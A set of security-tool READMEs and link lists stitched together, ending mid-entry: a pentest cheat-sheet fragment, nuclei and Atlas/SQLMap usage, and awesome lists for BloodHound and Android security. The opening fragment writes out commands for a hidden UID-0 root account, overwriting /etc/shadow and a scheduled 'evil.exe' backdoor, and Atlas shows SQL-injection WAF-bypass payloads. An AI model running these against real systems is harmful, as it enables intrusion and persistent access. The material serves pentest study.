cat /etc/s2 > /etc/shadow; rm /etc/s2 ``` ### Creating Another root User ```bash useradd -u0 -g0 -o -s /bin/bash -p `openssl passwd yourpass` rootuser ``` ### Generating OpenSSL Password ```bash openssl passwd -1 password # output $1$YKbEkrkZ$7Iy/M3exliD/yJfJVeTn5. ``` ### Persistent Back Doors ```text # Launch evil.exe every 10 minutes schtasks /create /sc minute /mo 10 /tn "TaskName" /tr C:\Windows\system32\evil.exe ``` This was inspired by and forked/adapted/updated from [Dostoevsky's Pentest Notes](https://github.com/dostoevskylabs/dostoevsky-pentest-notes).
## Usage ``` docker run -it --rm -v $(pwd):/data nuclei -l $url_input -t /templates/cves/CVE-2020-9484.yaml -c 12 ``` ## Manual ``` Usage of nuclei: -H value Custom Header. -c int Number of concurrent requests to make (default 10) -debug Allow debugging of request/responses -json Write json output to files -l string List of URLs to run templates on -nC Don't Use colors in output -o string File to write output to (optional) -proxy-socks-url string URL of the proxy socks server -proxy-url string URL of the proxy server -retries int Number of times to retry a failed request (default 1) -silent Show only results in output -t value Template input file/files to run on host. Can be used multiple times. -target string Target is a single target to scan using template -timeout int Time to wait in seconds before timeout (default 5) -update-directory string Directory to use for storing nuclei-templates -update-templates Update Templates updates the installed templates (optional) -v Show Verbose output -version Show version of nuclei ```
# awesome-bloodhound A curated list of awesome Bloodhound resources ![Bloodhound](bh.png) This list is for links to learn and use the awesome Active Directory reconnaissance tool Bloodhound. It will for the most part consist of tools available on Github, videos demonstrating the tools, blog posts and wikis. You can contribute by submitting pull requests, creating issues with suggestions or write to me [@chryzsh](https://twitter.com/chryzsh) or ping @crusher on the [Bloodhound Slack](http://bloodhoundgang.herokuapp.com/). I have made a markdown template for adding new links here -> [Contributing](#-contributing). Join the BloodHound Slack: http://bloodhoundgang.herokuapp.com/ Thank you to all of the authors of the content referenced in this page, and to all who contribute here and in the Bloodhound Slack. Table of Contents ================= - [awesome-bloodhound](#awesome-bloodhound) - [Table of Contents](#table-of-contents) - [Getting Started](#getting-started) - [Features and updates](#features-and-updates) - [Usage guides](#usage-guides) - [Tools](#tools) - [Methodology and reporting](#methodology-and-reporting) - [Cypher](#cypher) - [Videos](#videos) - [Ebooks](#ebooks) - [Social](#social) - [Tips and tricks](#tips-and-tricks) - [Contributing](#contributing) ## Getting Started If this is your first time using Bloodhound , the Bloodhound repository is the place to start. Its wiki will show you have to download, install and get started using Bloodhound. * [BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound) - The Bloodhound repository * [Bloodhound Wiki](https://github.com/BloodHoundAD/BloodHound/wiki) - The Bloodhound repository wiki * [Neo4j](https://neo4j.com/) - Neo4j, Bloodhound's graph database ## Features and updates * [Introducing BloodHound](https://wald0.com/?p=68) - Introducing BloodHound by wald0 * [BloodHound 1.3 – The ACL Attack Path Update](https://wald0.com/?p=112) - Description of the 1.3 feature update by [@wald0](https://twitter.com/_wald0) * [SharpHound: Evolution of the BloodHound Ingestor](https://blog.cptjesus.com/posts/newbloodhoundingestor) - Description of the rewritten Sharphound ingestor by [CptJesus](https://twitter.com/cptjesus). * [BloodHound 1.4: The Object Properties Update](https://blog.cptjesus.com/posts/bloodhoundobjectproperties) - Description of the 1.4 update. * [SharpHound: Technical Details](https://blog.cptjesus.com/posts/sharphoundtechnical) - Technical details of the Sharphound ingestor * [SharpHound: Target Selection and API Usage](https://blog.cptjesus.com/posts/sharphoundtargeting) - Description of how collection is done * [BloodHound 1.5: The Container Update](https://blog.cptjesus.com/posts/bloodhound15) - Description of the 1.5 update by CptJesus * [BloodHound 2.0](https://blog.cptjesus.com/posts/bloodhound20) - Description of the 2.0 update by CptJesus * [BloodHound 2.1: The Fix Broken Stuff Update](https://blog.cptjesus.com/posts/bloodhound21) - Description of the 2.1 update by CptJesus ## Usage guides * [SadProcessor/HandsOnBloodHound](https://github.com/SadProcessor/HandsOnBloodHound) - Material for the "Hands-On BloodHound" Workshop * [HandsOnBloodHound.pdf](https://github.com/SadProcessor/HandsOnBloodHound/blob/master/Workshop/HandsOnBloodHound.pdf) - Slides for the above talk at Brucon2019, by @SadProcessor * [Bloodhound en français](https://beta.hackndo.com/bloodhound/) - BloodHound usage article in French, by pixis * [Bloodhound en français - translated](https://translate.google.com/translate?sl=auto&tl=en&u=https%3A%2F%2Fbeta.hackndo.com%2Fbloodhound%2F) - Google translated version of the above article * [BloodHound Tips and Tricks - riccardoancarani.it](https://www.riccardoancarani.it/bloodhound-tips-and-tricks/) - Tips and tricks for Bloodhound workflow and using the functionality. ## Tools * [BloodHoundAD/BloodHound-Tools](https://github.com/BloodHoundAD/BloodHound-Tools) - Miscellaneous tools for BloodHound - [BloodHound Database Creator](https://github.com/BloodHoundAD/BloodHound-Tools/tree/master/DBCreator) - This python script will generate a randomized data set for testing BloodHound features and analysis. - [BloodHound Analytics](https://github.com/BloodHoundAD/BloodHound-Tools/blob/master/bloodhoundanalytics.py) - This python script will analyze existing BloodHound data in a neo4j database. * [BloodHoundAD/SharpHound](https://github.com/BloodHoundAD/SharpHound) - The BloodHound C# Ingestor * [fox-it/BloodHound.py](https://github.com/fox-it/BloodHound.py) - A Python based ingestor for BloodHound * [peterhgombos/bloodhounddemo](https://hub.docker.com/r/peterhgombos/bloodhounddemo) - Docker container containing a quick demo database for Bloodhound using the official neo4j image. * [seajaysec/cypheroth](https://github.com/seajaysec/cypheroth) - Automated, extensible toolset that runs cypher queries against Bloodhound's Neo4j backend and saves output to csv. * [SadProcessor/WatchDog](https://github.com/SadProcessor/WatchDog) - WatchDog is a BloodHound Data scanner [NodeWeight] * [SadProcessor/CypherDog](https://github.com/SadProcessor/CypherDog) - PowerShell Cmdlets to interact with BloodHound Data via Neo4j REST API. * [GoFetchAD/GoFetch](https://github.com/GoFetchAD/GoFetch) - GoFetch is a tool to automatically exercise an attack plan generated by the BloodHound application. * [fox-it/aclpwn.py](https://github.com/fox-it/aclpwn.py) - Active Directory ACL exploitation with BloodHound. * [fox-it/bloodhound-import](https://github.com/fox-it/bloodhound-import) - Python based BloodHound data importer * [vysecurity/ANGRYPUPPY](https://github.com/vysecurity/ANGRYPUPPY) - Bloodhound Attack Path Automation in CobaltStrike * [porterhau5/BloodHound-Owned](https://github.com/porterhau5/BloodHound-Owned) - A collection of files for adding and leveraging custom properties in BloodHound. * [Coalfire-Research/Vampire](https://github.com/Coalfire-Research/Vampire) - Vampire is an aggressor script which integrates with BloodHound to mark nodes as owned. * [chrismaddalena/Fox](https://github.com/chrismaddalena/Fox) -A companion tool for BloodHound offering Active Directory statistics and number crunching ## Methodology and reporting * [Introducing the Adversary Resilience Methodology — Part One](https://posts.specterops.io/introducing-the-adversary-resilience-methodology-part-one-e38e06ffd604) - Methodology using Bloodhound for defensive purposes, part one. * [Introducing the Adversary Resilience Methodology — Part Two](https://posts.specterops.io/introducing-the-adversary-resilience-methodology-part-two-279a1ed7863d) - Methodology using Bloodhound for defensive purposes, part two. * [Active Directory Security:Beyond the Easy Button](https://adsecurity.org/wp-content/uploads/2019/09/2019-DerbyCon-ActiveDirectorySecurity-BeyondTheEasyButton-Metcalf-Full.pdf) - Defensive Active Directory by Sean Metcalf * [Troopers 2019: BloodHound and the Adversary Resilience Methodology](https://docs.google.com/presentation/d/14tHNBCavg-HfM7aoeEbGnyhVQusfwOjOyQE1_wXVs9o/edit#slide=id.g4d29456ff7_0_0) - Slide set from the Bloodhound talk at Troopers 2019. See the Videos section for a video of this. * [BloodHound Head to Tail - Andy Robbins Rohan Vazarkar](https://docs.google.com/presentation/d/1wiiIRyy59lOl3lScCyEuPLK8ms5a55LP-AEgcMxR2hA/edit#slide=id.g35f391192_00) - Derbycon 2019 talk about Bloodhound. See Videos section for a video of this. * [BlackHat USA 2019 - Finding Our Path](https://docs.google.com/presentation/d/1lQHTqXZIDxwaIUnXdO-EdvGp79RzH1rbM4zE45Kki2I/edit#slide=id.g35f391192_00) - BlackHat USA 2019 - Finding our Path: How We're Trying to Improve Active Directory Security ## Cypher * [BloodHound: Intro to Cypher](https://blog.cptjesus.com/posts/introtocypher) - Intro to Cypher * [awsmhacks/awsmBloodhoundCustomQueries](https://github.com/awsmhacks/awsmBloodhoundCustomQueries) - Collection of Cypher queries * [Bloodhound Cypher Cheatsheet](https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/) - Cheatsheet detailing how to write Cypher queries. * [Neo4j Drivers & Language Guides](https://neo4j.com/developer/language-guides/) - Neo4j drivers and language guides. * [Blue Hands On Bloodhound](https://insinuator.net/2019/10/blue-hands-on-bloodhound/) - Data manipulation with Bloodhound. * [Cypher Query Gallery](https://github.com/BloodHoundAD/BloodHound/wiki/Cypher-Query-Gallery) - Cypher Query Gallery from the official Bloodhound wiki. * [RamblingCookieMonster/PSNeo4j](https://github.com/RamblingCookieMonster/PSNeo4j) - PSNeo4j is a simple Neo4j PowerShell module, allowing you to quickly build up graph data from any of the technologies PowerShell can interface with. ## Videos * [Six Degrees of Domain Admin...](https://www.youtube.com/watch?v=lxd2rerVsLo) - Presentation of Bloodhound from 2016 by Andy Robbins, Will Schroeder and Rohan Vazarkar. * [How BloodHound's Session Collection Works](https://www.youtube.com/watch?v=q86VgM2Tafc) - Brief explanation of session collection by Andy Robbins (wald0). * [BloodHound 2.1's New Computer Takeover Attack](https://www.youtube.com/watch?v=RUbADHcBLKg) - Brief explanation of a feature in Bloodhound 2.1, by Andy Robbins. * [TR19: BloodHound and the Adversary Resilience Methodology](https://www.youtube.com/watch?v=0r8FzbOg2YU&t=2400s) - Talk from Trooppers 2019 by the Bloodhound creators about using Bloodhound defensively. * [BloodHound Head to Tail - Andy Robbins Rohan Vazarkar](https://www.youtube.com/watch?v=fqYoOoghqdE) - Derbycon 2019 talk about Bloodhound * [BloodHound - Analyzing Active Directory Trust Relationships](https://www.youtube.com/watch?v=gOpsLiJFI1o) - Short usage video on exploring trust relationships by Raphael Mudge. * [Extending BloodHound for Red Teamers](https://www.youtube.com/watch?v=Pn7GWRXfgeI) - Talk about adapting and extending Bloodhound for red team usage. * [IppSec - Sizzle](https://www.youtube.com/watch?v=YVhlfUvsqYc&t=2660) - IppSec demonstrates Bloodhound collection, ingestion and usage on the box Sizzle on Hackthebox. * [IppSec - Reel](https://www.youtube.com/watch?v=ob9SgtFm6_g&t=3503) - IppSec demonstrates Bloodhound collection, ingestion and usage on the box Reel on Hackthebox. * [Course BloodHound Framework 2 Download BloodHound](https://www.youtube.com/watch?v=_RLdf6JFYfw&list=PLBqdc2sJLjwriZCQ7mcv00727gP3dCiux) - Bloodhound course by Matt harr0ey * [Active Directory Security Beyond the Easy Button](https://youtu.be/AZScrF6JxeQ?t=1902) - Active Directory Security Beyond the Easy Button - Sean Metcalf. ## Ebooks * [The Dog Whisperer’s Handbook](https://insinuator.net/2018/11/the-dog-whisperers-handbook/) - Thorough book detailing almost everything that can be done with Bloodhound written by [@sadprocessor](https://twitter.com/sadprocessor). ## Social * [Join the BloodHound Slack](http://bloodhoundgang.herokuapp.com) - Slack channel for talk about Bloodhound and other shenanigans. * [The Official BloodHound Swag Store](https://www.customink.com/fundraising/bloodhound-swag) - The Official BloodHound Swag Store * [@CptJesus](https://twitter.com/cptjesus) - Bloodhound creator and maintainer * [@wald0](https://twitter.com/_wald0) - Bloodhound creator and maintainer * [@harmj0y](https://twitter.com/harmj0y) - Bloodhound creator * [@SadProcessor](https://twitter.com/sadprocessor) - Writer of The Dog Whisperer's Handbook - See the [Ebooks](#ebooks) section for download. ## Tips and tricks * [Submitting New Attack Primitives](https://github.com/BloodHoundAD/BloodHound/wiki/Submitting-New-Attack-Primitives) - Submitting New Attack Primitives in Bloodhound * [Stop Bloodhound data gathering? - @jeffmcjunkin](https://twitter.com/jeffmcjunkin/status/1184872807500435456) - How to stop Bloodhound data gathering? * [Controlling AD Recon (Bloodhound) - @PyroTek3](https://twitter.com/PyroTek3/status/1184935580246904834) - Controlling AD Recon (Bloodhound) * [Get help from Bloodhound - @wald0](https://twitter.com/_wald0/status/1154440486410579974?s=20) - How do I abuse a relationship that #BloodHound is showing me? * [Computer objects in Bloodhound - @wald0](https://twitter.com/_wald0/status/1167550622851190784?s=20) - Did you know... * [Unsupported OS - @aceb0nd](https://twitter.com/aceb0nd/status/1166150922021429248?s=20) - Find unsupported (and potentially vulnerable) Windows OS using this cypher query. ## Contributing If you want to contribute directly, you can use the following markdown template for creating new entries. ``` * [username/github-repo](https://github.com/username/github-repo) - Brief description. * []() - ```
Atlas - Quick SQLMap Tamper Suggester v1.0 --- __Atlas__ is an open source tool that can suggest sqlmap tampers to bypass WAF/IDS/IPS, the tool is based on returned status code. ![atlas_main](https://i.imgur.com/G2bXF3A.png) Screen --- ![atlas_run](https://i.imgur.com/I6cXSKd.png) Installation --- ``` $ git clone https://github.com/m4ll0k/Atlas.git atlas $ cd atlas $ python atlas.py # python3+ ``` Usage --- ``` $ python atlas.py --url http://site.com/index.php?id=Price_ASC --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v ``` injection point (with `%%inject%%`): get: ``` $ python atlas.py --url http://site.com/index/id/%%10%% --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v ``` post: ``` $ python atlas.py --url http://site.com/index/id/ -m POST -D 'test=%%10%%' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v ``` headers: ``` $ python atlas.py --url http://site.com/index/id/ -H 'User-Agent: mozilla/5.0%%inject%%' -H 'X-header: test' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v ``` tampers concatenation: ``` $ python atlas.py --url http://site.com/index/id/%%10%% --payload="-1234 AND 4321=4321-- AAAA" --concat "equaltolike,htmlencode" --random-agent -v ``` get tampers list: ``` $ python atlas.py -g ``` Example --- 1. Run SQLMap: ``` $ python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3 ``` ![sqlmap](https://i.imgur.com/XP39Rqz.png) ```Price_ASC') AND 8716=4837 AND ('yajr'='yajr``` is blocked by WAF/IDS/IPS, now trying with Atlas: ``` $ python atlas.py --url 'http://site.com/index.php?id=Price_ASC' --payload="') AND 8716=4837 AND ('yajr'='yajr" --random-agent -v ``` ![atlas_succ](https://i.imgur.com/U6qEnXp.png) At this point: ``` $ python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3 --tamper=versionedkeywords,... ``` #### The new Update get will soon stay updated $ BurpSuite
# machinescli [![License: CC BY-SA 4.0](https://raw.githubusercontent.com/7h3rAm/7h3rAm.github.io/master/static/files/ccbysa4.svg)](https://creativecommons.org/licenses/by-sa/4.0/) This tool provides commandline access for [HackTheBox](https://www.hackthebox.eu), [TryHackMe](https://tryhackme.com/) and [VulnHub](https://www.vulnhub.com/) machines. Here's a quick listing of useful features: - Look up machine details across HTB/THM/VH - Track owned/pending/todo machines - Interact with HTB portal and assign/remove/own/query machines - Search writeup descriptions using [ippsec.rocks](https://ippsec.rocks/?#) like option - Search machine details using `jq`-style query language > `machinescli` works in conjuction with [svachal](https://github.com/7h3rAm/svachal) framework. > As such, if you wish to extend and use writeup metadata, it will be natively accessible via the shared `machines.json` file. ## Installation Follow the steps below and run `machinescli` to create the `machines.json` file (to get your `HTBAPIKEY` from [HackTheBox](https://www.hackthebox.com/home/settings), go to your username tab > Classic HTB > Settings > API Key): ``` $ mkdir -pv cd $HOME/toolbox/projects && cd $HOME/toolbox/projects $ git clone https://github.com/7h3rAm/machinescli && cd machinescli $ python3 -m venv --copies venv $ source venv/bin/activate $ pip install -r requirements.txt $ mkdir -pv $HOME/toolbox/bootstrap # this directory will be used to store and access machines.json file $ export HTBAPIKEY=<APIKEYHERE> $ python3 machinescli.py --update ``` ## Usage ![Usage](machinescli01.png) ## Usecases 1. Show counts for tracked and owned machines: ![Counts](machinescli02.png) 1. Show stats for machine named `bashed`, show extended details as JSON, export results for GSheet import: ![Info](machinescli03.png) 1. Search machine descriptions for keywords `buffer overflow` and `bash`: ![Search](machinescli04.png) 1. Query `owned` machines using the built-in filter: ![Query-Owned](machinescli05.png) 1. Query `owned AND oscplike HackTheBox` machines using the built-in filter: ![Query-OwnedHTB](machinescli06.png) 1. Query `owned AND oscplike HackTheBox` machines using the built-in filter and show TTPs if machine writeups are available: ![Query-OwnedHTB](machinescli06a.png) 1. Query `owned AND NOT OSCPlike` machines using `jq`-style syntax: ![QueryJQ](machinescli07.png) 1. Show global stats from HackTheBox platform: ![HTB-Stats](machinescli08.png) 1. Show `spawned` machines and `expiry` stats from HackTheBox platform: ![HTB-Spawned-Expiry](machinescli09.png) 1. Perform `assign` and `remove` operations on a HackTheBox machine: ![HTB-Assign-Remove](machinescli10.png) 1. Show global stats from TryHackMe platform: ![THM-Stats](machinescli11.png) ## Argument Autocomplete Source the `.bash-completion` file within a shell to trigger auto-complete for arguments. This will require the following alias: ```console alias machinescli='python3 $HOME/toolbox/projects/machinescli/machinescli.py' ``` > You will need a [Nerd Fonts patched font](https://github.com/ryanoasis/nerd-fonts/tree/master/patched-fonts) for OS icons and other symbols to be rendered correctly.
# Awesome Android Security [![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg)](https://github.com/NetKingJ/awesome-android-security) [![GitHub stars](https://img.shields.io/github/stars/NetKingJ/awesome-android-security.svg?style=flat&label=Star)](https://github.com/NetKingJ/awesome-android-security/stargazers) [![GitHub forks](https://img.shields.io/github/forks/NetKingJ/awesome-android-security.svg?style=flat&label=Fork)](https://github.com/NetKingJ/awesome-android-security/fork) [![GitHub watchers](https://img.shields.io/github/watchers/NetKingJ/awesome-android-security.svg?style=flat&label=Watch)](https://github.com/NetKingJ/awesome-android-security/watchers) ![Alt text](img/googlexsamsung.png) # Theory * [Android Kernel Exploitation](https://cloudfuzz.github.io/android-kernel-exploitation/) * [Hacking Android Apps with Frida](https://www.youtube.com/watch?v=iMNs8YAy6pk) * [Android Frida Scripts](https://github.com/androidmalware/android_frida_scripts) * [Real-time Kernel Protection (RKP)](https://www.samsungknox.com/ko/blog/real-time-kernel-protection-rkp) * [Android Developer Fundamentals](https://developer.android.com/courses/fundamentals-training/overview-v2) * [Android Security Lecture](https://jyheo.github.io/androidsec/androidsec.html) : Professor 허준영 lecture material * [Android Pentesting Checklist](https://mobexler.com/checklist.htm#android) * [OWASP Mobile Security Testing Guide (MSTG)](https://github.com/OWASP/owasp-mstg) * [OWASP Mobile Application Security Verification Standard (MASVS)](https://github.com/OWASP/owasp-masvs) * [Frida Cheatsheet and Code Snippets for Android](https://erev0s.com/blog/frida-code-snippets-for-android/) * [Frida HandBook](https://learnfrida.info/) * [Android App Security Checklist](https://github.com/hamm0nz/android_app_security_checklist) * [Android Vulnerabilities](https://oversecured.com/vulnerabilities) : Oversecured's Android Vulnerability List # Report #### 2018 * [Report] [Writing the worlds worst Android fuzzer](https://gamozolabs.github.io/fuzzing/2018/10/18/terrible_android_fuzzer.html) #### 2019 * ~~[Report] [Samsung Galaxy Apps Store RCE via MITM](https://www.adyta.pt/en/writeup-samsung-app-store-rce-via-mitm-2/)~~ Unable to connect * [Report] [Reverse-engineering Samsung S10 TEEGRIS TrustZone OS](http://allsoftwaresucks.blogspot.com/2019/05/reverse-engineering-samsung-exynos-9820.html) #### 2020 * [Report] [Flaws in ‘Find My Mobile’ exposed Samsung phones to hack](https://char49.com/tech-reports/fmmx1-report.pdf) * [Report] [Project Zero : MMS Exploit](https://googleprojectzero.blogspot.com/2020/07/mms-exploit-part-1-introduction-to-qmage.html) * [Report] [Breaking Samsung firmware, or turning your S8/S9/S10 into a DIY “Proxmark”](https://www.pentestpartners.com/security-blog/breaking-samsung-firmware-or-turning-your-s8-s9-s10-into-a-diy-proxmark/?fbclid=IwAR0f8lwJmVtXzHU3T7n1zs8CG2QJlSf_3v8ffp03w-rwgb48_QxoUz7D09Q) * [Speaker] [Beyond Root](https://www.youtube.com/watch?v=aLe-xW-Ws4c) * [Report] [Arbitrary code execution on Facebook for Android through download feature](https://dphoeniixx.medium.com/arbitrary-code-execution-on-facebook-for-android-through-download-feature-fb6826e33e0f) * [Report] [Samsung S20 - RCE via Samsung Galaxy Store App](https://labs.f-secure.com/blog/samsung-s20-rce-via-samsung-galaxy-store-app) * [Report] [Exploiting CVE-2020-0041 - Part 1: Escaping the Chrome Sandbox](https://labs.bluefrostsecurity.de/blog/2020/03/31/cve-2020-0041-part-1-sandbox-escape/) * [Report] [Exploiting CVE-2020-0041 - Part 2: Escalating to root](https://labs.bluefrostsecurity.de/blog/2020/04/08/cve-2020-0041-part-2-escalating-to-root/) * [Report] [Breaking TEE Security Part 1: TEEs, TrustZone and TEEGRIS](https://www.riscure.com/tee-security-samsung-teegris-part-1/) * [Report] [Breaking TEE Security Part 2: Exploiting Trusted Applications (TAs)](https://www.riscure.com/tee-security-samsung-teegris-part-2/) * [Report] [Breaking TEE Security Part 3: Escalating Privileges](https://www.riscure.com/tee-security-samsung-teegris-part-3/) #### 2021 * [Report] [In-the-Wild Series: Android Exploits](https://googleprojectzero.blogspot.com/2021/01/in-wild-series-android-exploits.html) * [Report] [Data Driven Security Hardening in Android](https://security.googleblog.com/2021/01/data-driven-security-hardening-in.html) * [Report] [An apparently benign app distribution scheme which has all it takes to turn (very) ugly](https://cryptax.medium.com/an-apparently-benign-app-distribution-scheme-which-has-all-it-takes-to-turn-very-ugly-f733be528535) * [Report] [Android Kernel Privilege Escalation (CVE-2020-11239)](https://securitylab.github.com/research/one_day_short_of_a_fullchain_android/) * [PoC Code] [Exploit for Qualcomm CVE-2020-11239](https://github.com/github/securitylab/tree/main/SecurityExploits/Android/Qualcomm/CVE-2020-11239) * [Report] [Two weeks of securing Samsung devices](https://blog.oversecured.com/Two-weeks-of-securing-Samsung-devices-Part-1/) * [Report] [Why dynamic code loading could be dangerous for your apps: a Google example](https://blog.oversecured.com/Why-dynamic-code-loading-could-be-dangerous-for-your-apps-a-Google-example/) * [Report] [Exploiting memory corruption vulnerabilities on Android](https://blog.oversecured.com/Exploiting-memory-corruption-vulnerabilities-on-Android/) * [Report] [Common mistakes when using permissions in Android](https://blog.oversecured.com/Common-mistakes-when-using-permissions-in-Android/) * [Report] [Android security checklist: WebView](https://blog.oversecured.com/Android-security-checklist-webview/) * [Report] [Use cryptography in mobile apps the right way](https://blog.oversecured.com/Use-cryptography-in-mobile-apps-the-right-way/) * [Report] [Google Photos : Theft of Database & Arbitrary Files Android Vulnerability](https://servicenger.com/mobile/google-photos-theft-of-database-arbitrary-files-android-vulnerability/) * [PoC Video](https://youtu.be/iyklTJ9V-Mw) #### 2022 * [Report] [RCE IN ADOBE ACROBAT READER FOR ANDROID (CVE-2021-40724)](https://hulkvision.github.io/blog/post1/) * [Report] [The Dirty Pipe Vulnerability (CVE-2022-0847)](https://dirtypipe.cm4all.com/) * [PoC Code] [DirtyPipe for Android](https://github.com/polygraphene/DirtyPipe-Android) * [PoC Video](https://twitter.com/Fire30_/status/1503422980612923404) * [Report] [SSD Advisory – Galaxy Store Applications Installation/Launching without User Interaction](https://ssd-disclosure.com/ssd-advisory-galaxy-store-applications-installation-launching-without-user-interaction/) * [Report] [Auth Bypass in com.google.android.googlequicksearchbox](https://feed.bugs.xdavidhu.me/bugs/0013) * [Report] [Accidental $70k Google Pixel Lock Screen Bypass](https://bugs.xdavidhu.me/google/2022/11/10/accidental-70k-google-pixel-lock-screen-bypass/) * [PoC Video] [Pixel 6 Full Lockscreen Bypass POC](https://www.youtube.com/watch?v=dSgSnYPgzT0) * [Bug Report] [Complete Lock Screen Bypass on Google Pixel devices](https://feed.bugs.xdavidhu.me/bugs/0016) * [Bug Patch] [aosp-mirror/platform_frameworks_base](https://github.com/aosp-mirror/platform_frameworks_base/commit/ecbed81c3a331f2f0458923cc7e744c85ece96da) #### 2023 * [Report] [Pwning the all Google phone with a non-Google bug](https://github.blog/2023-01-23-pwning-the-all-google-phone-with-a-non-google-bug/) * [PoC Code] [Exploit for CVE-2022-38181](https://github.com/github/securitylab/tree/main/SecurityExploits/Android/Mali/CVE_2022_38181) * [PoC Code] [Exploit for CVE-2022-20186](https://github.com/github/securitylab/tree/main/SecurityExploits/Android/Mali/CVE_2022_20186) * [Report] [Protecting Android clipboard content from unintended exposure](https://www.microsoft.com/en-us/security/blog/2023/03/06/protecting-android-clipboard-content-from-unintended-exposure/) * [Report] [The Fuzzing Guide to the Galaxy: An Attempt with Android System Services](https://blog.thalium.re/posts/fuzzing-samsung-system-services/) * [Report] [ARM TrustZone: pivoting to the secure world](https://blog.thalium.re/posts/pivoting_to_the_secure_world/) # Paper #### 2015 * [Paper] [Fuzzing Android: a recipe for uncovering vulnerabilities inside system components in Android](https://www.blackhat.com/docs/eu-15/materials/eu-15-Blanda-Fuzzing-Android-A-Recipe-For-Uncovering-Vulnerabilities-Inside-System-Components-In-Android-wp.pdf) #### 2016 * [Paper] [STAB Fuzzing: A Study of Android's Binder IPC and Linux/Android Fuzzing](https://www.semanticscholar.org/paper/STAB-Fuzzing-%3A-A-St-udy-of-A-ndroid-%E2%80%99-s-B-inder-IPC-Peters/9ed41192e02e106b5367c9d143f447f7036b2aa0?p2df) * [Paper] [안드로이드 장치 드라이버에 대한 효과적 취약점 탐지 기법](http://kiise.or.kr/e_journal/2016/11/JOK/pdf/01.pdf) #### 2019 * [Paper] [Dynamic Security Analysis of the LTE Control Plane)](https://syssec.kaist.ac.kr/pub/2019/kim_sp_2019.pdf) #### 2020 * [Paper] [악성 안드로이드 앱 탐지를 위한 개선된 특성 선택 모델](https://www.kci.go.kr/kciportal/ci/sereArticleSearch/ciSereArtiView.kci?sereArticleSearchBean.artiId=ART002597457) * [Paper] [안드로이드 애플리케이션 환경에서 CFI 우회 공격기법 연구](https://www.kci.go.kr/kciportal/ci/sereArticleSearch/ciSereArtiView.kci?sereArticleSearchBean.artiId=ART002639387) * [Paper] [An Empirical Study of Android Security Bulletins in Different Vendors](https://arxiv.org/pdf/2002.09629.pdf) * [Paper] [Research on Note-Taking Apps with Security Features](http://isyou.info/jowua/papers/jowua-v11n4-5.pdf) * [Paper] [Deploying Android Security Updates: an Extensive Study Involving Manufacturers, Carriers, and End Users](https://par.nsf.gov/servlets/purl/10231776) #### 2021 * [Paper] [FraudDetective: 안드로이드 모바일 광고 사기 탐지 및 사기 발생의 인과관계 분석](https://www.ndss-symposium.org/wp-content/uploads/ndss2021_3B-1_23161_paper-1.pdf?fbclid=IwAR2MWn2R-jnO6lhm7z-t2liWiWYgA2UykmTPBeUzSe13Dn5hpSBc_FyM0NQ) * [Paper] [안드로이드 저장소 취약점을 이용한 악성 행위 분석 및 신뢰실행환경 기반의 방어 기법](https://www.kci.go.kr/kciportal/ci/sereArticleSearch/ciSereArtiView.kci?sereArticleSearchBean.artiId=ART002685485) * [Paper] [사용자 맞춤형 서버리스 안드로이드 악성코드 분석을 위한 전이학습 기반 적응형 탐지 기법](https://www.kci.go.kr/kciportal/ci/sereArticleSearch/ciSereArtiView.kci?sereArticleSearchBean.artiId=ART002725203) #### 2022 * [Paper] [DoLTEst: In-depth Downlink Negative Testing Framework for LTE Devices](https://www.usenix.org/system/files/sec22summer_park-cheoljun.pdf) * [Report] [KAIST 연구진, 이동통신 단말 보안 테스트 기술로 구현 오류 22건 발견](https://gsis.kaist.ac.kr/blog/kaist-%ec%97%b0%ea%b5%ac%ec%a7%84-%ec%9d%b4%eb%8f%99%ed%86%b5%ec%8b%a0-%eb%8b%a8%eb%a7%90-%eb%b3%b4%ec%95%88-%ed%85%8c%ec%8a%a4%ed%8a%b8-%ea%b8%b0%ec%88%a0%eb%a1%9c-%ea%b5%ac%ed%98%84-%ec%98%a4/?fbclid=IwAR37QzRuibvjOdZusXk5X96_DD7ja6z2crxUPllY0qTubPX84AujKqPnA2s) * [Paper] [Trust Dies in Darkness: Shedding Light on Samsung's TrustZone Keymaster Design](https://eprint.iacr.org/2022/208.pdf) * [PoC Code] [Keybuster](https://github.com/shakevsky/keybuster) * [Paper] [ARM 캐시 일관성 인터페이스를 이용한 안드로이드OS 의 스크린 잠금 기능 부채널 공격](http://koreascience.or.kr/article/JAKO202211955000026.pdf) * [Paper] [GhostTouch: Targeted Attacks on Touchscreens without Physical Touch](https://www.usenix.org/system/files/sec22summer_wang-kai.pdf) * [Paper] [SAUSAGE: Security Analysis of Unix domain Socket usAGE in Android](https://arxiv.org/pdf/2204.01516.pdf) * [Paper] [insecure:// Vulnerability Analysis of URI Scheme Handling in Android Mobile Browsers](https://www.ndss-symposium.org/wp-content/uploads/madweb2022_23003_paper.pdf) * [Paper] [FIRMWIRE: Transparent Dynamic Analysis for Cellular Baseband Firmware](https://www.ndss-symposium.org/wp-content/uploads/2022-136-paper.pdf) * [Paper] [Large-scale Security Measurements on the Android Firmware Ecosystem](https://chicharitomu14.github.io/files/2022-ICSE.pdf) * [Paper] [GhostTalk: Interactive Attack on Smartphone Voice System Through Power Line](https://arxiv.org/pdf/2202.02585.pdf) * [Paper] [VirtualPatch: fixing Android security vulnerabilities with app-level virtualization](https://thesis.unipd.it/bitstream/20.500.12608/32823/1/Pizzi_Simeone.pdf) * [Paper] [Implication of animation on Android security](https://cse.seu.edu.cn/_upload/article/files/15/0e/34aa5a7d4955bf4d17692c70f400/9163dfa2-2980-4913-93cf-7a2f3b408771.pdf) * [Paper] [Android Native Library Fuzzing](https://github.com/paocela/AndroidNativeFuzzingFramework/blob/master/Thesis%20Document/AndroidNativeLibraryFuzzing.pdf) * [Tool] [AFLplusplus-AndroidPatches](https://github.com/paocela/AFLplusplus-AndroidPatches) * [Presentation Slides](https://github.com/paocela/AndroidNativeFuzzingFramework/blob/master/Thesis%20Document/Presentation.pdf) * [Paper] [Implementasi Static Analysis Dan Background Process Untuk Mendeteksi Malware Pada 